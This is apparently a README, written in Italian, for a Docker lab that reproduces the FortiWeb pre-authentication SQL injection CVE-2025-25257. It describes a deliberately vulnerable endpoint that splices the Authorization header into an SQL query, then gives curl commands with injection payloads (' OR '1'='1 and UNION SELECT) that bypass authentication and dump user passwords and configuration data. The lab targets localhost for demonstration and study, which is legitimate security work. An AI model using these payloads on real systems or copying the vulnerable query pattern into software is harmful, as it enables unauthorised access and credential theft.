
Architettura della Sperimentazione (l'ambiente simula i componenti vulnerabili di FortiWeb)
Endpoint vulnerabile: /api/system/fabric/config
Vettore di iniezione: Header HTTP Authorization: Bearer
Meccanismo: Concatenazione SQL diretta (f-string Python)
Autenticazione: Nessuna (bypass totale)
Database: SQLite (per dimostrazione)
cve-2025-25257
├── Dockerfile
├── docker-compose.yml
├── requirements.txt
├── app.py
├── init_db.py
├── payload.txt
└── README.md
Dockerfile: servizio http volutamente vulnerabile / espone un'API sfruttabile senza autenticazione
docker-compose.yml: orchestra un servizio vulnerabile riproducibile / espone l'API attaccabile via http / isola l'ambiente di sperimentazione
requirements.txt: garantisce un ambiente stabile e riproducibile
app.py: implementa un endpoint pre-autenticazione / accetta un input utente tramite Authorization / concatena tale input in una query SQL / consente il bypass dell'autenticazione e l'estrazione dei dati
init_db.py: prepara un set di dati sfruttabile / consente una chiara dimostrazione del bypass dell'autenticazione e dell'esfiltrazione dei dati
payload.txt fornisce una prova minima, controllata e osservabile di esecuzione di codice
docker-compose build
docker-compose up -d
docker-compose ps
docker-compose logs -f
curl http://localhost:8080/api/system/status
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"
docker-compose down
docker-compose down -v
docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest